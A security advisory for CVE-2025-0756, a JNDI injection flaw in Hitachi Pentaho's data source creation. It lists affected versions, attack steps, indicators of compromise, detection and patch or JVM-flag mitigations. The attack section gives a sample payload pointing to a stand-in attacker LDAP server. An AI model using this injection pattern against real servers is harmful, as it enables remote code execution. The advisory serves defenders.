CVE-2025-0756: Hitachi Pentaho Data Integration RCE

CVE-2025-0756 Overview

Hitachi Vantara Pentaho Data Integration & Analytics contains a critical resource injection vulnerability (CWE-99) that allows attackers to exploit unrestricted JNDI identifiers during platform data source creation. The product receives input from an upstream component but does not properly restrict or validate the input before using it as an identifier for a resource that may be outside the intended sphere of control.

Critical Impact
An attacker could gain access to or modify sensitive data or system resources, including protected files, directories, and configuration files containing sensitive information. This vulnerability can lead to remote code execution by unauthorized users.

Affected Products

Hitachi Vantara Pentaho Data Integration & Analytics versions before 10.2.0.2
Hitachi Vantara Pentaho Data Integration & Analytics 9.3.x
Hitachi Vantara Pentaho Data Integration & Analytics 8.3.x

Discovery Timeline

April 16, 2025 - CVE-2025-0756 published to NVD
April 17, 2025 - Last updated in NVD database

Technical Details for CVE-2025-0756

Vulnerability Analysis

This vulnerability stems from improper control of resource identifiers (CWE-99) within the Hitachi Vantara Pentaho platform. The application fails to properly validate or restrict JNDI (Java Naming and Directory Interface) identifiers when users create platform data sources. JNDI provides a unified interface to multiple naming and directory services, and when identifiers are not properly sanitized, attackers can manipulate these lookups to reference malicious resources.

The attack is network-accessible and while it requires high privileges to execute, successful exploitation can have a changed scope impact, affecting resources beyond the vulnerable component's security authority. This means an attacker with administrative access to the Pentaho platform could potentially compromise the underlying server infrastructure.

Root Cause

The root cause of this vulnerability lies in insufficient input validation within the data source creation functionality. When platform data sources are configured, the application accepts JNDI identifiers without properly restricting their values. This allows attackers to inject malicious JNDI references that point to attacker-controlled resources, potentially leading to remote code execution through JNDI injection attacks similar to the Log4Shell vulnerability pattern.

Attack Vector

The attack vector is network-based, requiring authenticated access with high privileges to the Pentaho platform. An attacker would exploit this vulnerability by:

Authenticating to the Pentaho Data Integration & Analytics platform with administrative privileges
Navigating to the data source creation functionality
Injecting a malicious JNDI identifier (such as ldap://attacker-server/exploit) in place of a legitimate data source reference
When the platform processes this identifier, it connects to the attacker-controlled server
The attacker's server responds with a malicious payload that gets deserialized and executed on the target system

This JNDI injection technique can be leveraged to access configuration files, sensitive data, or achieve full remote code execution depending on the Java runtime environment and available gadget chains.

Detection Methods for CVE-2025-0756

Indicators of Compromise

Unusual outbound network connections from Pentaho server to external LDAP, RMI, or DNS servers
Unexpected JNDI lookup patterns in application logs containing external URLs
Data source configurations with suspicious JNDI strings (e.g., ldap://, rmi://, dns:// prefixes to external hosts)
Unauthorized modifications to platform data source configurations

Detection Strategies

Monitor network traffic from Pentaho servers for connections to unexpected LDAP, RMI, or CORBA services
Implement application-level logging to capture all data source creation and modification events
Deploy SIEM rules to detect JNDI lookup patterns containing external URL references in log data
Review audit logs for administrative actions related to data source management

Monitoring Recommendations

Enable verbose logging on the Pentaho platform to capture data source configuration changes
Implement egress filtering to restrict outbound connections from Pentaho servers to known-good destinations
Deploy network intrusion detection rules for JNDI injection payload patterns
Establish baseline behavior for administrative activities and alert on anomalies

How to Mitigate CVE-2025-0756

Immediate Actions Required

Upgrade Hitachi Vantara Pentaho Data Integration & Analytics to version 10.2.0.2 or later immediately
Review all existing data source configurations for suspicious JNDI identifiers
Restrict network egress from Pentaho servers to prevent connections to attacker-controlled resources
Audit administrative access to ensure only authorized personnel have data source creation privileges

Patch Information

Hitachi Vantara has released version 10.2.0.2 of Pentaho Data Integration & Analytics which addresses this vulnerability. Organizations should upgrade to this version or later to remediate CVE-2025-0756. For detailed patch information and upgrade instructions, refer to the Hitachi Vantara Security Advisory.

Workarounds

Implement strict network segmentation to isolate Pentaho servers and limit outbound connections
Configure firewall rules to block outbound LDAP (port 389/636) and RMI (port 1099) traffic from Pentaho servers
If possible, disable or restrict access to the data source creation functionality until patching is complete
Apply JVM-level protections by setting com.sun.jndi.ldap.object.trustURLCodebase=false and com.sun.jndi.rmi.object.trustURLCodebase=false to limit JNDI remote class loading

bash

# JVM configuration to limit JNDI remote class loading
# Add these options to Pentaho startup scripts
CATALINA_OPTS="$CATALINA_OPTS -Dcom.sun.jndi.ldap.object.trustURLCodebase=false"
CATALINA_OPTS="$CATALINA_OPTS -Dcom.sun.jndi.rmi.object.trustURLCodebase=false"
CATALINA_OPTS="$CATALINA_OPTS -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false"